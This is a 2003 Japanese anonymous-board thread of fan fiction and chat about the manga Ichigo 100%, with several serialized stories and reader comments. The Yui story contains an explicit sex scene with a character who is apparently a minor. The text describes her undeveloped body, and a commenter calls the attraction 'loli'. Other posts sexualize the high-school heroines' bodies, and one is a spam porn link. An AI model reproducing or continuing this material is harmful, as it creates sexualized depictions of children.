「ん…」
寝ぼけた目で天井に焦点を合わせる。
ぼんやりとカーテンに眼を移す。まだ暗い。
部屋の空気が冷えきっていた。
もう春のはずだが、朝は冷え込んでいるものらしい。
朝らしい乾いた冷気のおかげで顔を洗うまでもなく目が醒めてきた。
…何時くらいだろ?
枕元の目覚し時計を手に取ろうと体を動かしかけて、固まった。
…体が動かない。いや、それ以前になにか重いものが胸から足にかけて乗っている…。
これが噂に聞く「かなしばり」なのか…。なにかが布団の中に居る…。
俺にへばりついているぞ…。
「…って、」
布団をはぐと、やっぱり。
唯が俺の胴に手を回してすーすー寝ていた。…しかも全裸で。
「おいっ…オマエ、なんで俺の上で寝てるんだっ!」
唯が目をこすりながら目を醒ます。
「…んぁ?…あ、淳平おはよー…。…すー…。」
再び俺の胸板の上に顔を乗せて眠り込もうとする。
「すー、じゃねぇ!俺のベッド貸してるんだからそっちで寝ろっつーの!」
「…いいじゃん、今ベッドに戻ったら寒いし。
唯みたいないたいけな乙女にそんな辛い目を強いるの?
淳平のオニっ!…くー…。」
「…とりあえず服着れ。」
「パジャマなんてどっか行っちゃったよ。淳平が布団から出て、探してよ…。
むにゃ…すー。」
A. 「…いつまでもそんな格好してると、襲っちまうぞ?」
B. 「…まぁ、いっか。」
336 :
名無しさん@ピンキー:03/03/24 20:01 ID:n6/Z/KEg
A
「…いつまでもそんな格好してると、襲っちまうぞ?」
「またまた…そんなハッタリ、唯には効かないもーん…。」
目を閉じたまま小生意気に言い返してくる。ちょっと年上の威厳ってやつを示しておくか…
「よっこいしょっ…と。」
「きゃっ…」
体を回転させて俺と唯の体の位置を逆にする。つまり、唯の体の上に俺が乗った。
「これでどーだっ…」
と、唯の顔を見ながら冗談のつもりで言ってみた…が。
「………」
唯は顔を真っ赤にして、固まっている…。
(続く)
続きキボン
キボンヌ
340 :
名無しさん@ピンキー:03/03/25 01:07 ID:38UZMd9m
とうじょうよりさつきの方がにんきあるっしょ!
さつきとくっつけろ、さつきにしやわせになって欲しい
341 :
名無しさん@ピンキー:03/03/25 05:37 ID:KT7t6LH0
ゆいは?
342 :
名無しさん@ピンキー:03/03/25 12:16 ID:XlR8ItsB
真中とさつきのカップリングが一番イイ!!
この二人がセックスしているところを見てみたい。
343 :
名無しさん@ピンキー:03/03/25 20:23 ID:6W7iE1Ke
続ききぼんぬ
唯がよいと言うならばわしはロリになるのだろうか。
345 :
名無しさん@ピンキー:03/03/25 23:57 ID:Jgccd63a
漏れも唯が一番萌えなんだが、こんな漏れはダメなんだろうか・・・
346 :
名無しさん@ピンキー:03/03/26 01:22 ID:gWQWtepb
続きキボンヌ
あぼーん
348 :
名無しさん@ピンキー:03/03/26 11:06 ID:8OpS5Xrt
決してダメではない。
ということにしとこうじゃないか…
続きたのむ!!
350 :
名無しさん@ピンキー:03/03/26 20:28 ID:voZ/Xe7v
続き頼みます!!
すいません、最初、この下に書いた、選択肢B.のつもりだったんですけど…
あとからA.のシチュエーションを思いついちまったので順番どおり、
Bの方から逝ってみます。でもA.も書いてみたい…(*゚Д゚)
--------------------------------------------------------------
A.「このまま食べちゃおっかなー。」さらに冗談を言う。
B.俺も唯の体の上で、膝を折った四つんばいの姿勢のまま固まっていた。
352 :
名無しさん@ピンキー:03/03/28 03:45 ID:ZzcQCh0y
みたーい(´Д`;)
俺も唯の体の上で、膝を折った四つんばいの姿勢のまま固まっていた。
伸ばした両手は、唯の頭の両脇に。
しかも、さっきから俺の股間が…立っている。
俺の股間の朝立ちと、俺を見詰める唯の、潤んだ、怯えた瞳のせいで、
俺の顔も真っ赤になって来た。
…俺は唯相手に何をしているんだろう…
ぼーっ、とする頭で考える。上手く頭が回らない。
…とりあえず体をどかさなきゃ…
けだるさを覚えて、右肘を折って唯の体の右に、体を投げ出す。
左腕がまだ唯の顔の上に乗っていた。唯は俺の目をじっと見詰めている…。
ふに…ふに…むに…
なんとなく唯のほっぺたを、当てた左手の親指でなでる。
さらさらした唯の髪が4本の指の下をすべる。
唯は目を閉じて、しばらく俺のなすがままになっていた。
「…ゆ、唯、ベッドに戻るね…」
急に我に返った唯が、慌てて身を起こそうとした。
くんっ
俺は反射的に、向こうに顔を向けて、立ちあがろうとする唯の、
左の手首をしっかりとつかんで、こっちに引き寄せる。
バランスを崩した唯が、倒れ込んでくる。俺は唯の華奢な体を、
しっかりと抱きとめた。
「じゅ、淳平…?」
「唯…」
俺は唯の頭を抱きしめる。
唯は俺の腕の中で、体を離そうと、ひとしきりもがいたあと、俺の頭を
ぽかぽかと叩き始めた。
「は、はなして。淳平、はなしてってばぁ…」
「唯だって、本当はこうしていたいんだろ?」
ぴたっ、と唯の動きが止まる。
「え…」
唯は顔を上げて俺を見る。
頬を赤く染めた、少女の潤んだ瞳が俺を見詰める。
「唯だって、こうしていたいんじゃないのか?」
唯は口をつぐんだまま、俺を見詰めている。
>>353 いや別にここはいちご100%全般のことを扱うスレだからいいんじゃない?
そもそもこのスレが立った当初唯は出てなかったんだし。
続きみたい
357 :
名無しさん@ピンキー:03/03/30 22:52 ID:BkZz+dxq
age
このスレの職人さん、レベル高いな。
359 :
名無しさん@ピンキー:03/04/01 14:59 ID:2MlOBjl8
つかさたん…
360 :
名無しさん@ピンキー:03/04/01 16:58 ID:bmsEIXWI
tukasa----------
361 :
名無しさん@ピンキー:03/04/01 21:43 ID:bTIqXXcP
正直真中とかと絡ませるより
レズでもいいので女同士がいいのは俺だけですか?
362 :
名無しさん@ピンキー:03/04/01 22:20 ID:8/4t39i8
真中=自分と思い込む罠
363 :
名無しさん@ピンキー:03/04/01 22:23 ID:bTIqXXcP
>>362 俺、それできないんだよなぁ・・真中は真中って思っちゃうし。
結局は純愛モノよりも女キャラ同士の絡み真中の関わらないエロの方が好き
364 :
a:03/04/02 00:16 ID:Ae5Y4acG
エロ画像とかないんですかね?
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366 :
名無しさん@ピンキー:03/04/02 02:30 ID:YzmBXoBV
>>324>>361>>363 激しく同意
当初の計画を大きく変更してさつきと真中が結婚して幸せになってもらいたい。
そして、ジャンプの表紙で東城&西野のツーショットを見てから思ったのだが、
2人とも真中との恋に破れた者同士
東城が西野の部屋or西野が東城の部屋
でお互い甘いワインでも飲んで「もう男はいらない」とか言い合いながら
2人でふざけて慰め合うつもりでキスをしたら凄く気持ちが良くなって
そのまま本気でレズに突入。2人はやがて精神的にも肉体的にも惹かれ合って
それが女同士恋愛感情となり生涯愛し合うようになった。
という話にしてもらいたい。
367 :
名無しさん@ピンキー:03/04/02 09:29 ID:qkPv0rEw
嫉妬深いというかヲタと思われるだろうが
真中があそこまでモテすぎると返って不快におもっちまう俺・・
だからさつきとか東城のレズをみてー!
あぼーん
369 :
名無しさん@ピンキー:03/04/02 11:38 ID:qkPv0rEw
おいおい。春休みだから厨でも来て盛り上がると思ったのに
370 :
reia:03/04/02 18:52 ID:pqph3DYA
「東条さん、受験勉強でわかんないとこあるから教えて欲しいんだけど、暇ない?」
東条家に西野つかさからの電話がなった午後5時。
「…えーっと…。別に、いいんだけど…いつ?」
「んー…明日忙しいし、わからないことそのままにすんの嫌だから、今日じゃだめかな?」
「ううん。いいよ…、場所は図書館でいい?」
「あー、それね。今日、日曜であいてなかったんだー。昼間にいったんだけど…」
「じゃぁ、どこにする?私の家でいいなら…」
「ああ!そんなんダメだよ!だってそこまでお世話になれないよ〜。うーん…じゃ、うちにする?今日親いないから、気兼ねしないでしょ?」
「…いいの?…あ、じゃぁそうしましょっか。」
「わかった。じゃぁ、待ってるね!」
…ガチャン…
電話を切り、急いで西野の家に向う準備をはじめた綾。一応、手みやげも忘れず、クッキーなどを紙袋につめ、服を着替え、玄関を出た。
371 :
reia:03/04/02 19:04 ID:pqph3DYA
ピンポーン
「はぁーい、あ東条さん!」
「…ごめんね、なんか道間違っちゃって」
「クスっ。ううんいいよ!中はいりなよ。」
西野の部屋は夕日のキレイな片付いた部屋で。音楽がコンポから流れている現代チックな部屋だった。
「西野さんって本当にモテそうな子なんだな…真中くんも…きっとこんな西野さんが好きで…」
ふと、窓にうつる夕日をみながら、綾がさみしそうに思っていた。
「東条さーん。オレンジジュースでいい?」
下から、つかさの声が聞こえ、ふと我に戻る。
「…あ、おかまいなく!!」
続きキボンヌ
唯 激しく萌え
375 :
名無しさん@ピンキー:03/04/05 01:52 ID:F0BN9OaQ
じらさないで(ワラ
最初から、わかっていたんだ。俺は唯じゃなきゃダメだって。
東城が可愛くても、さつきと居るのが楽しくても、
あの雪の降る日。俺は溢れ来る感情を塞き止める扉が、
衝動に弾かれて吹き飛んでしまったのを確かに感じた。
ちがうんだ。明るい恋とか、楽しい学園生活とか、そういうのじゃないんだ。
「大切な」人が俺にはいるんだ。子供のころからずっといっしょで、妹みたいで。
でも、ちがう。兄弟の愛情じゃないんだ。「大切」
そうとしか言えない。だって、この溢れ出る想いを、他に、どう表現できる?
そして、「大切」は「必要」になって、「不可欠」になっていく。
どんどんと気持ちが勢いを増して、”もう、止められるわけがない。”
「ゆ、唯は…」
しばしの沈黙のあと、唯が口を開く。
「…唯も…。」
でも、もうその先を聞かずとも、俺にはわかりきっていた。
俺は念を押すように言う。
「親とか、周りの奴らは関係ないんだ。
唯が、答えを出してくれれば…。」
俺は唯の頭を抱きしめる。
唯が俺の体に腕をまわして、俺の胸板に頭をこすりつける。
そして、そっとつぶやく。
「ずっと、淳平とこうしていたいよ…。」
顔を上げて俺をじっと見る。
どくん…どくん…どくん
心臓が急に命を吹き返して、音を立てる。
あの雪の日以上に、俺と唯の間の隔たりは狭まっていた。
いや、もう隔たりは無い。最後の”ディスタンス”は、唯が無くしてくれた。
これで、俺達は、ひとつになれる。
そっと唇を重ねる。
唯の柔らかい唇の感触が伝わる。
「んっ…」
キスをした瞬間、目を閉じたまま唯は体を震わせた。
唯の細い首に手を当てる。
「あ…」
唯が眼を開いて、嬉しそうに照れたように口を結ぶ。
「唯のファーストキス…」
少し、顔を赤らめる。
照れくさくてコメントしようが無いので、俺はまたゆっくりと唇を重ねる。
「む…」
唯は少し顔をしかめる。
少しだけ、唯の唇が開く。
俺は唯の首を後から押さえて、舌を重ねた唇の間から、唯の口の中へと入れる。
唯の舌先と俺の舌が触れ合う。でも唯の舌は口の奥へと逃げてしまった。
そして唯が慌てて口を離して横を向く。
「けほっ…けほけほ…」
どうやらさっきから息を止めていたらしい。
「大丈夫か?」
「うん…息止めてたから…」
息を整えている・・・。
そして息を整えた唯がぽつりと言った。
「ねぇ…淳平は、東条さんとか、さつきちゃんと、こういうことしたことあるの…?」
「えっ…」
俺は少し黙った。
「…キスはある…。」
「そっか…そうなんだ…」
どこか寂しそうにつぶやく。
「やっぱり、淳平も唯の知らない間に、大人になっていっちゃうんだね…。」
そうつぶやいた、唯の顔が、あまりに寂しそうに俺の目には映り、
気が付くと、唯の体を強く抱きしめていた。
「…淳平?淳平、くるしいよ…」
「もう、そんな寂しいこと言うな。
言わないでくれ…。」
しっかりと唯の体を抱きしめたまま、つぶやく。
「俺一人で、勝手に大人になんかならないし、
唯をおいてきぼりにするような真似はしない。約束する。」
「どうしたの?淳平…」
離したくない…唯と離れたくない、という強い想いが俺を支配していた。
俺の体の下から、唯が抱き返してくる。なだめるように。
「大丈夫。大人になるときは、唯も一緒。」
ふっ、と俺の中のわだかまりがとけていく。
そうか…。このわけの分からない衝動の由来は、俺の、唯に対する罪悪感だったんだ。
東条に目が移り、さつきになびき、西野に心揺れる。俺はダメな男だ。
でも、もう選んだんだ。これで、俺は救われる。唯だ。俺にはもう唯しかいない。
「ねぇ…淳平…唯と、して。」
「え…?」
体を離して、唯の顔を見る。
「もう、乙女にこんなこと何度も言わせないでよ…。
…淳平と、したいの…。いっしょに、大人になろうよ」
顔を真っ赤にしながら、唯はそう言ってくれた。
俺は、もう一度唇を重ねた。
お茶のCMで男の子が読んでる漫画っていちご100%?
唯タンSS、うまいです。
続きを期待します。
うん、上手い。
いろいろな小説が途中なので、全て気になります…。
唯の小説はもちろん、reiaさん、メスシリンダー(仮)さん、苺50%さん、
◆eYpcJ59Ehcさんの東城バージョン、どれもかなり楽しみに待ってるんですが。
いちご100%の小説自体、ここにあるのしか知らないんで。
皆さん、これからも頑張ってください!応援してます。
384 :
名無しさん@ピンキー:03/04/07 23:07 ID:MTBge5hj
↑激しく同意
まとめ乙かれ
あぼーん
387 :
reia:03/04/09 11:58 ID:h+/XfDJY
「はい、どうぞ。」
そういって、つかさがジュースを差し出した。
おぼんに乗せられたお菓子やジュースを飲みながら問題に取りかかる。
つかさは、頭が悪い訳でも、飲み込みが悪い訳でもないので、勉強はよそう以上にはかどる。
また、創造性豊かなつかさの問題の解き方には綾も考えつかない方法を考えだし、綾の舌をまいた。
「西野さんってすごいわね、教えた事どんどん覚えちゃう…」
溜め息をつきながら、綾が呟く。
「そんなことなーい!東条さんの教え方がいいんだよ!」
にっこり笑ってつかさが返す。
つややかな健康的な肌と澄んだ瞳の笑顔。きっと自分が男だったら絶対好きになるんだろうな…と思える程、つかさは可愛いのだった。
388 :
reia:03/04/09 12:08 ID:h+/XfDJY
こんな笑顔に…真中くんも…好きになったのかな…
そう思った時、綾は無意識にに寂しそうな表情をしていた。
そんな、表情をつかさは見のがさなかったのだろう
「とーじょうさん?どーしたの悩み??」
「…え?」
「なんか…つまんなそーな顔してたから…つまんないのかと思って。」
「…そ、そんなことないの!あの…ちょっと考え事してて!」
「ふーん…じゃぁさ、その考えてた事はなしてよ。聞きたい」
「私の考えてた事なんて…つまんない…」
「もー!それは私が聞いてからきめる事でしょ?」
イイよイイよ!雰囲気出ててウマーな感じ
390 :
reia:03/04/09 12:17 ID:h+/XfDJY
つかさの目にじっと見つめられると嘘がつけなくなる。
「あの、じつは好きな人がいて…その人にはもう…恋人がいて…でもあきらめられなくて…その恋人もかわいくって良い子で…」
「で、悩んでる…と?」
「うん…西野さんならどうする?」
「…そうね、私なら迷わず進むかな。だって好きなんだもの、少しえも望みがあるならがんばっちゃう!」
「そう…なんだ。」
「東条さんはそういうことできない?…っていうより…その好きな人…もしかしたら、東条さんの事すきかもよ…彼女よりずっと…すきかもね…」
「え?…」
ふと顔をあげると、つかさが下を向いていた。
391 :
reia:03/04/09 12:26 ID:h+/XfDJY
「…東条さんさ、眼鏡とると可愛いんだし、胸もおっきいし、頭もいいし!けっこう自信もっていいよ。」
さっきとはうってかわって寂しそうな笑顔でつかさが言う。
目尻には涙が溜っている。
それでも、笑顔で語るつかさは本当に強いのだろう…
「あ…そろそろ、ゴハンだね。どーする?作る?簡単なものならママが作ってくれたやつがあるけど…ピザとか取ろうか??」
涙をごまかすように立ち上がって、つかさが言う。
「え、あ、あの、そんな悪いから…わ、私帰るわ!」
「うーん…ゴハン二人分だから帰られたた方が困るかな!」
にっこりと、つかさが返す。さっきの話題で少し戸惑った綾も、緊張がほぐれる。
「じゃ…いただいて行こうかな。」
「うん!じゃぁ、下行こうか!」
あぼーん
393 :
名無しさん@ピンキー:03/04/09 18:37 ID:MhtpUytH
>391
いいね!
394 :
名無しさん@ピンキー:03/04/09 22:29 ID:J5VyeFDl
>391
いいな!
396 :
名無しさん@ピンキー:03/04/12 00:21 ID:dn6GLlHz
a
あぼーん
398 :
名無しさん@ピンキー:03/04/14 01:44 ID:ORrscvS0
ヤクルトの真中
399 :
名無しさん@ピンキー:03/04/14 13:46 ID:mVdoQF+s
新キャラの所為でさつきとかの影が薄いな・・
無理して出さなくてもよかったと思うが。
イイ感じのキャラだが。誰か夜に語りに来てくれ
キャラ増えると、それがいいキャラでもロクなことにならんと思う…
401 :
名無しさん@ピンキー:03/04/14 18:17 ID:mVdoQF+s
アイズみたいな全員が関わってくる話が今までにないからな。
真中+一人のヒロインっていう進展でちょっとマンネリ。
さつきはエロキャラになっちまうしなー。
402 :
名無しさん@ピンキー:03/04/14 18:26 ID:vDJEvjXU
真中瞳
あぼーん
404 :
名無しさん@ピンキー:03/04/14 21:00 ID:6m2cA7e/
今回のヤツ、
唯×真中が実現したかと思った。
今回のキャラはそろそろ年上だと思ったら年下だった。
特徴とかあんまないし、微妙。
あぼーん
406 :
名無しさん@ピンキー:03/04/14 22:32 ID:mVdoQF+s
さつき祭りふたたび来い
アンタさつき好きだなぁーw
408 :
::03/04/15 00:49 ID:F+6Jlpwv
ほんと、さつきは乳がでかい!綾は目じゃない。
あぼーん
あの勝気な性格が輪をかけていいと思うのだが
411 :
名無しさん@ピンキー:03/04/15 13:28 ID:3TmFEgvb
あれだろ、勝ち気な娘が自分にだけメロメロってのがいいんだろきっと。
実生活鬱屈たまってるんだね。
あぼーん
>>411 410は実生活で鬱屈たまってるってこと?
414 :
406:03/04/15 14:46 ID:ffSC1tMO
>>411 いや、俺はさつきの体がマジでイイ!と思うよ。
つーか東城だって乳がデカイとかいう設定らしいが
さつきには及ばないんだろ?3サイズ予想だれかすれ
体かよ・・・つまんねーヤツだな
416 :
406:03/04/15 15:53 ID:ffSC1tMO
417 :
::03/04/15 18:36 ID:F+6Jlpwv
>414 4巻見てないの?作者発表で東城綾Eカップで、北大路さつきGカップ!2サイズ差で乳対決はさつきの勝ち!まあどっちにしてもさつきの乳の大きさにに東城の乳は負けてるか。
418 :
406:03/04/15 19:06 ID:ffSC1tMO
>>417 サンクス。俺はジャンプのみの読者なんで・・
つーか高校生でGってかなり凄いな。
これ以上デカくなるんだろうか
もし410が♀だったらどうしますか?といって見るテスト。。。
レズかよ。
Gカプの人の生乳見たことあるけどマジすげーよ
>>422 グロとかじゃないから見てみれ。
G怖すぎ
あ!直リンゴメソ…
>421はABCの歌に合わせて、女性のオパーイの写真が出てくるフラッシュでつ
425 :
山崎渉:03/04/17 12:22 ID:Ac1CXwMS
(^^)
426 :
422:03/04/17 22:43 ID:Dk/WgRkr
みますた
>>421 いいなぁぁ・・漏れの彼女はBでつ。
個人的にはG以上+さつきの容姿きぼんぬ
あぼーん
428 :
名無しさん@ピンキー:03/04/17 22:46 ID:pV+02bnM
429 :
名無しさん@ピンキー:03/04/18 19:02 ID:qSQqeFvb
>422はこんなカキコしてんのばれたら怒られるんだろうなー(w
430 :
422:03/04/18 20:27 ID:WU0JZBp7
まぁ乳好きだってことはバレているんだけどね・・
いちどでいいからさつき並の乳を味わいたい!!
431 :
286:03/04/19 21:27 ID:Z3/aK2mt
>334サン
すいませんずっとパソコンつけてなかったんで見てませんでした・・・。
あれはダメもとで書きこんだんでマジで書いてくれるなんですごいうれしいです!
ありがとうございます!
そして続き(;´Д`)ハァハァ
432 :
名無しさん@ピンキー:03/04/19 21:28 ID:K6iBsZ9V
携帯でおっぱいがいっぱい
http://puririn.com
66.159.222.225 , netblock-66-159-222-225.dslextreme.com , ?
433 :
名無しさん@ピンキー:03/04/19 23:50 ID:4iIZr1Lc
age
434 :
山崎 渉:03/04/20 04:08 ID:sTzjkZgc
∧_∧
( ^^ )< ぬるぽ(^^)
ガッ
ゴッ
ニュ?
438 :
名無しさん@ピンキー:03/04/23 10:52 ID:QjDppLZU
か
>>431 一週間以上空いてしまった…うう…。
すいません。すぐに続き書きます。
441 :
名無しさん@ピンキー:03/04/27 09:05 ID:oy5tUvaw
age
442 :
名無しさん@ピンキー:03/04/27 18:04 ID:PvHLevzx
女子ながらここのSS好きだage
443 :
名無しさん@ピンキー:03/04/30 11:53 ID:zMl8jt2h
誰かいませんか?
444 :
名無しさん@ピンキー:03/04/30 20:49 ID:tKAMBvMa
書き込みが止まってるな。
あぼーん
最近、ここ寂しいですよね…。
また盛り上がってほしいので、小説書いてみようかなって思ってます。
ここのスレにまだない、真中と西野あたりでも。
…いいですか?
447 :
名無しさん@ピンキー:03/05/01 22:47 ID:/vlR1PEm
真中と西野イイ!
小説待ってます
448 :
名無しさん@ピンキー:03/05/01 23:13 ID:PdO5SwfR
>>446 むしろ西野と真中を待ってました。是非に!
あぼーん
帰ったら西野に電話しよう。
そう合宿の時思って、今に至る。
久しぶりに西野へかけるなぁ。あ〜、やべぇ。緊張してきた。
後ろでは母さんが爆笑してる。何がそんなにおもしろいんだ?
そう思いながらボタンを押す。そして、聞き慣れたコール音が耳に届く。
「あれ?西野出ないなぁ…。」
キスは握手と同じ…か。
そんなのわかんない。したことないし。
でもあたしは――――淳平くんに…。
そう思ってやめた。あたしはこれ以上淳平くんに求めない。
だって、だってさ、淳平くんは東城さんが好きなんでしょ?
それとも、あのポニーテールの娘かな。
あたしには何にもない。胸だって大きくないし、
東城さんみたいに素直でいい娘でもない。
淳平くんだって、あたしなんかより、
東城さんみたいな娘の方が好きだよね。きっと…。
そう思うと、自然と涙が溢れ出る。
ばかっ、何で泣くの?しっかりしなさい、つかさ。
そう自分に言い聞かせる。
これ以上淳平くんに求めない、これ以上淳平くんに求めない、
これ以上淳平くんに求めない、これ以上………――――
だけど…それでも…。溢れてくる、この思い。
「淳平くん…。好き…。」
そう、囁いた。
その時、聞き慣れない着メロが鳴った。
真中は少なからず混乱していた。
『会いたい』
そう、西野は言った。とりあえず今は全力で走るしかない。
泣いているように聞こえた。それは、あの時の東城を思い出したからかな。
嫌だった。これ以上誰かの泣き顔を見るのは嫌だった。
それが自分の所為ならなおさらで。
とにかく、西野の家へ急いだ。
だけど…
「走ってきてくれたんだ。ありがとう。」
そう言って西野は笑った。拍子抜けした。
続く
とりあえず今日はここまでで。いいのかどうか不安なんで。
タイトルは見ての通り「握手」。4巻のあのシーンからです。
前フリが長いんですが、僕としては外せないシーンなんで、
ご理解の方よろしくお願いします。
批判でもアドバイスでも、何でもいいので、
感想とか書いてくださると泣いて喜びます。(笑)
早く続き読みたい。
あの場面は好きだったのでイイ!!(・∀・)
続き期待
455 :
名無しさん@ピンキー:03/05/04 18:43 ID:EfBjybF9
続き期待!!
あぼーん
>>453 >>454 >>455 ありがとうございます。期待に添えれるかどうかは分かりませんが頑張ります。
では続きです。
「それで、これは何?」
「これ?知らないの?いちごのショートケーキだよ。」
わざととぼけてみる。ホントに奇跡みたい。
まさか淳平くんと過ごせるなんて。つい、嬉しくて。
でもやっぱり知らなかったんだね。当たり前だけど。
「今日は、あたしの誕生日なんだもん。」
あ、やっぱり。予想を裏切らないよね。そのリアクション。
そんな淳平くんがすっごく好き。優しいよね、ホントに。
え?何?
「欲しい物言って!欲しい物!!」
……………え?
欲しい物?
「なんでもくれるの?」
何でも…くれる?
だったら………―――
『キスなんてのは握手と同じだよ』
ふと、あの男の台詞が浮かぶ。
何でもくれるなら…だったら…だったら…。
そう思って止める。もう、さっき決めたでしょ?
「じゃあ…握手してくれる?」
だって、これが―――多分。
「多分、今はこれがあたしが淳平くんに望んでいい、せいいっぱいだから………。」
西野が何を考えているのか分からない。
だけど、だけど…。
気が付けば手を差し出していた。そういえばこうやって握手するの初めてかも。
ぎゅっ…
西野の手はすごく柔らかくて繊細で。
ちょっと触っただけで壊れてしまいそうだった。
西野は照れたのか、すぐに放して家に帰ろうとして。
慌てて「おやすみ」って言った。
西野の右手も俺みたいに熱を帯びているのかな…。
そう思ってたら急に体が寒くなって、意識が遠のいた。
遠くで西野の叫ぶ声が聞こえたけど…何て言ったかは分からなかった。
続く
ちょっと今回短いかな…?
原作のシーンはここまでで、次回からオリジナルです。
この場面、ものすごく西野の健気さとか、そういうのが伝わってきて。
なんか泣けてきました。
だから、西野の複雑な心境みたいなものを表現したかったんですが、
文章で表現するっていうのはやっぱり難しいですね。
それでは。
続きわくわく100%
文面充分上手いと思います!!(・∀・)
オリジナルも期待。ガンガレ!!
>>459 >>460 どもです〜。それだけ期待されると…。うぅ…緊張してきた…。(笑)
が、頑張ります!
「ん…?」
気が付くと真中はベットに横たわっていた。
「ここは…どこだ…?」
起き上がろうとして、ふと、横を見てみると…
「………!!」
言葉にならなかった。目の前に西野の寝顔。
真中の息を飲む気配が分かったのか、うっすらと目を開け
「いっけない。いつのまに眠って…あっ!淳平くん気が付いた!?」
とか言いながら急に顔を近づけてきた。
「ちょっ、ちょっと…西野…っ!」
赤くしながら後ずさりする真中。構わず近づけ、
こつん
おでことおでこがぶつかる。
「…よしっ。大分熱は引いた、っと。もう、ホントに吃驚しちゃった。」
安堵の溜息を漏らし、椅子に座る。
真中はいまひとつ状況が掴めず、しかも目の前に迫った西野の顔でドキドキ。
「えーっと…一体、何が…?っつーか、ここは…?」
やっとのことで出た言葉。その言葉に濡れたタオルを絞りながら西野は答えた。
「ここは、あたしの部屋。前に来た事あるでしょ?えーっと、それでね、
淳平くん、あの後、急に倒れちゃったんだよ?何か音が聞こえて、
慌てて見に行ったら淳平くんが倒れてるんだもん。驚いちゃった。」
そう言って「やれやれ」といった感じの仕草をする。続けた。
「あ、心配しなくても大丈夫。お母さんにもお父さんにも事情説明したし、
淳平くんとこにも電話して、今日は泊まるって言っといたから。」
「そっか…。ごめん。何か、迷惑かけてばっかりで…。……ん?泊まる…?
えっ!?何!?いっ、今何時!?」
今更ながら焦ってベットから飛び出ようとする真中。それを制止しながら西野が言う。
「淳平くん落ち着いて!まだ安静にしてなきゃ!!うん。落ち着いて?
…今は朝の9時。あたしの親はもう出掛けちゃって、今はあたし1人だよ。」
「え?いや、だって、西野は学校が…。」
「淳平くんが熱で倒れてるのに学校なんて行けるわけないでしょ!
もう、あたしがどれだけ心配したのかわかってるの…?」
西野の声が小さく、涙声になる。
俯いて、必死で涙をこらえている顔が容易に想像できた。
「西野…ごめん。俺が…俺がもっとしっかりしてたら…。はは…もう、
西野呆れちゃってるよな…。こんな情けなくて、弱くて、ダサい男なんてさ。
何にもできてない。中途半端で。西野も泣かせちゃうし…迷惑かけちゃうし…。
西野は高校に行って頑張ってるのに、俺は…俺は…何にも……ない。ごめん…。
本当にごめん。」
力なく、自嘲気味に真中は言った。気が付けば西野は顔を上げて真中を睨んでいた。
あぁ、ビンタされるな。そう思った瞬間。
ふわっ
一瞬、何が起こったかわからなかった。
続く
中途半端に区切ってすいません。(含笑)
今回からオリジナルに入ってますが、ちゃんと真中らしく、西野らしくできているでしょうか…?
その辺りがいまひとつ自信がありません。
それに、どこか文の繋がりがおかしい気がします…。まだまだ修行が足りませんね。
こんな奴が書いた小説ですけど、大目に見てやってください。
それでは。
それと、これから忙しくなるので書き込みが遅れるかもしれません。すいません。
ちゃんと真中と西野のキャラ掴んでると思う!
続き気になる〜。わくわく
雰囲気出て良い。がんばって!楽しみに待ってるよ。
楽しみにしてます!今日は神の降臨はあるのか?!
>myu@「握手」様
西野SSって久しぶりに見ました がんがって下さい!
そして皆々様、大変長いブランクを空けて申し訳ありませんでした。
---------------------------------------------------------------
唯の唇から柔らかな頬、すべすべした首筋を通って鎖骨に口付けをする。
「んっ…」
唯が繰り返す吐息の中で声を漏らす。
そしてなだらかな胸の曲線を伝ってその先端へ。
朝の冷気のせいなのか、すでに固くなっている唯の右の乳首を口に含む。
「…んっ…ごめんね…。淳平…。胸…小っちゃくって…」
「俺は気にしないって…。だって、唯、きれいな体してるもんな…」
唯の目を見て言う。唯がかぁぁっと顔を赤くするのを見て、ふっ…と少し笑う。
すべすべとした胸の感触を両の掌で楽しみながら、俺はさらに降下していく。
「…淳平…や…だっ…恥ずかしい…って…」
唯が真っ赤にほてった顔を手で覆うのを上目づかいに見ながら、唯のおへそにキスをする。
「ひゃっ…」
唯のはりつめた声を聞きながらさらに降下を続ける。
唯が何も身に付けていないのでその部分はあらわだ。
右手の親指で唯のまだ生えそろわない恥毛の柔らかさを感じる。
「ちょっ…淳平…まじまじ見ないでっ…」
「…唯の…かわいいな…」
ぴっちりと合わされた扉を親指の腹で撫でる。
「…やぁっ…もうっ…」
唯は恥ずかしさで半ば怒っているように見える。
「ごめんごめん…」
そう言いながら再び唯の首筋まで体を戻す。
そして唯の唇を重ねる。
「…さて…よいしょっ…と」
寝間着のズボンをトランクスごと下にずり下ろす。
すでに張りつめて痛覚を催し始めている俺のモノがトランクスのゴムに引っかかって跳ね上がる。
そして唯の体の上に乗る。
「じゅ…淳平…それ…体に当たってるのって…もしかして…」
「…俺のだよ」
唯の目からは俺達の腰にかかった布団で見えていないはずだ。
「…ねぇ」
「ん?」
「唯のもじろじろ見たんだし…”淳平の”も唯に見せてよ。」
「…え?あ…ああ。」
もっと唯は怯えているのかと思った。いや、かえって自分の目で確認していないと恐いのかもしれない。
俺が体を起こす。唯も仰向けの姿勢から身を起こす。そして唯の目が俺のモノを捉える。
本当に「しげしげ」とした視線が俺のモノに注がれる。
「…わっ・・・大っき…こんなの…ホントに入るかなぁ…」
ちょっと痛いかも…と言いかけて、やめた。痛いなら言わない方がいい。
唯がそろそろと手を伸ばして完全に天井を向いている俺のモノをきゅっと掴む。
俺は思わず反応する。
「わっ…跳ねた…」
「…もういいだろ?」
恥ずかしいと人は怒りたくなるものらしい。
「あ、ごめんごめん…。」
唯が布団の上に体を戻す。
「あ、ちょっと待ってな…」
机の引き出しを開けて、ゴムの箱を取り出す。
「…へー…ちゃんと持ってるんだ…。」
「学校でくれるんだよ…。」
唯がむくりと体を起こし、俺の後ろまで這って来て、俺の首に抱きつく。
柔らかい体が俺の背中に当たる。
「…何やってんだよ?」
「いや…着け方、見とこうと思って。のちのちのために。」
なーにが”のちのちのために”だよ…と内心照れながら、箱から1つ取り出す。
「こうやって封を切って…」
「ふんふん…」
先端を摘んだまま先端に当ててクルクルと下に降ろしていく。
「で、こうする。」
ぐっ、と握ったまま上に引っ張り、皮を被せて、最後まで降ろしていく。
「…な…?簡単だろ?」
「ふーん…唯にもできそう…」
オマエがしてどーすんだよ、と心の中でツッコみながら唯に向き直る。
寝間着の上を脱ぐ。
「さて…」
「う、うん…」
唯の唇に軽くキスをする。唯の両の脇の下に手を入れて布団の方までズルズルと後退していく。
唯の頭が枕の上に乗ったのを確認してから言う。
「じゃ、行くぞ…」
唯がぎゅっ、と目をつぶる。
唯の扉に押し当て、圧力をかける。ぐぐぐっと押し開いて行く感じがある。
